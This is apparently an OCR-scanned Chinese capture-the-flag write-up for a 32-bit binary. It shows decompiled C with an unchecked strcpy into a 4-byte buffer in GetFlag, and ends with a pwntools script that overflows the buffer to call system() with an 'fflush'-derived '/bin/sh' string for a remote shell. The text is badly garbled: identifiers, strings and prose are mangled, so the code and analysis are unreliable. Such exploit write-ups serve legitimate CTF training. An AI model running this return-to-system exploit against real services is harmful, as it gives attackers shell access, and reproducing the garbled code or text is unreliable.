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stdout
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memset (&v5, @, Ox7Cu);
puts(
printf(
__iso0c99_scanf();
if ( strcmp(si,
{
puts(
exit(9);
b
puts(
while ( 1 )
{
puts(
puts(
puts(
puts(
printf(
v9 v3;
v8 g
__is0c99 _scanf();
switch ( v3 )
{
case ©
exit(9);
return;
case 1
v8 src;
AddLog();
break;
case 2
Display(src);
break;
case 3
Print();
break;
case 4
GetFlag(src);
break;
default

continue;

H- = 1

e _ isoc99_scanf(); : BT EH Aadmin%iy, SHY T Y if ( stremp(sl, "administrator™) )

o HNTFREFFEHANIEDT, K—P— 0

AddLog() :

L

printf("Please input new log
return _ isoc99 _scanf();




e return _ isoc99 scanf(); : 2 A E .
Display(char *s)

int _ cdecl Display(char #*s)
{

return puts(s);

¥

e JTHI.
Print() :

int Print()
{

return system("echo Printing...... "y

h

o BT
GetFlag(char *src) :

int _ cdecl GetFlag(char *src)

{
char dest[4]; // [esp+8h] [ebp-48h]

char v3; // [esp+4h] [ebp-44h]
*(_DWORD *)dest = 48;

memset (&3, @, 8x3Cu);
strepy(dest, src);

return printf("The flag is your log:%s\n", dest);
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* strcpy(dest, src); : R Z AT B ECHE XS] dest AR .
AH %

JeFH %A% administrator 1 T —3%.

S U N PR P A R A o A\ B 800 K

K Z AT BRI 2] dest ZZE IR AL, 225 dest B Zebp ex48 , fA{EkHLH -
PP PAFLE system() BRI,

FEF A sh P47 LR .

i #e i getshell
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¥ warning X
Decompilation failure:
! 8048801: call analysis failed

Please refer to the manual to find appropriate actions

SEN T 0x8048801 ¥ 5, Mili _ isoc99 scanf , EALF]  isoc99_scanf() EEUETIF55 %% FE % main() B ¥R HF5 N 9%
BV AT 4 2 ) o

.text:080487FA lea eax, (aleds - 804A008h)[ebx] ; "%L
.text: 08048800 push eax

.text:08048801 call isocggjscanf /

.text: 08048806 add esp, 1@h

TEER TR NN ES KIEA /bin/bash FRFE, (HESKIM Ffflush F478, sh fE4 R, TTUERMEH, 1EA system() MZ%.

Address Length Type String
Eﬂ LOAD :Q80-- 00000007 C fflush

5E & exp

from pwn import

r remote( ,25238)

elf = ELF(

system_addr = elf.symbols[
bin_sh_addr Ox80482E6 4

r.sendlineafter(
r.sendlineafter( 5 )
payload (0x48+4) p32(system_addr) 4 + p32(bin_sh_addr)

r.sendlineafter( ,payload)

r.sendlineafter( )

r.interactive()
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